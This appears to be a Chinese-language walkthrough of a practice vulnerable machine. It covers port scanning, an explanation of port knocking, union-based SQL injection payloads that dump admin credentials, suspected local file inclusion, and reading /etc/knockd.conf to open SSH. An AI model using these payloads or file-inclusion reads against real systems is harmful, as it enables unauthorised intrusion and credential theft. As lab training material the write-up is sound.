赞
踩
先:IP为192.168.40.132,开放了22和80端口,服务器为apache2.4.38(到时候搜一下有没有漏洞),robots.txt里啥都没有,浏览了一下网页,几个界面都是php,有一个登录界面。dirbuster扫一下看什么结果:
这里的22端口是filter状态,我去查了一下,发现端口状态filtered:端口状态filtered由于报文无法到达指定的端口,nmap不能够决定端口的开放状态。
这里主要是利用了端口敲门这个知识点:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables(基于IP数据包过滤的防火墙工具)规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
端口敲门服务是用来增强安全性的,比如你干了一票逃回宾馆在床上堆满了钱,你关上门(关闭端口)不想让别人进来。这时你同伙来和你商量,为了安全起见,你和他约定好敲门暗号(特定序列),敲门时三下三下地敲(序列号、频率)。然后你就紧张地等他过来,时刻听着敲门(监听),要是听到一下一下敲的,就怀疑是不是警察,要是三下三下敲的,就是同伙来了,你就开门让他进来和你商量(服务),这就是敲门暗号法(knockd)(端口敲门服务)。端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
还是去到它原本的web界面中去看看,发现有一个search界面,直接将用户输入带入数据库查询了,应该是存在sql注入:查阅了一下资料为post型
可知存在SQL注入:
- 0' union select 1,2,3,4,5,6# //6列均可控
- 0' union select 1,2,3,4,5,database()# //数据库staff
- 0' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()# //StaffDetails,Users
- 0' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'# //UserID,Username,Password
- 0' union select 1,2,3,4,5,group_concat(UserID,' | ',Username,' | ',Password) from Users# //1 | admin |
得到了用户名和密码:admin:transorbital1 进入到登录界面(这里的登录界面需要用md5在线解一下):刚进去就发现最下面一行:file does not exist,可能会有本地文件包含
这里是端口敲门,所以查找/etc/knockd.conf,发现了openSSH是:7469,8475,9842三个。
直接nmap,发现22端口已经打开了:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。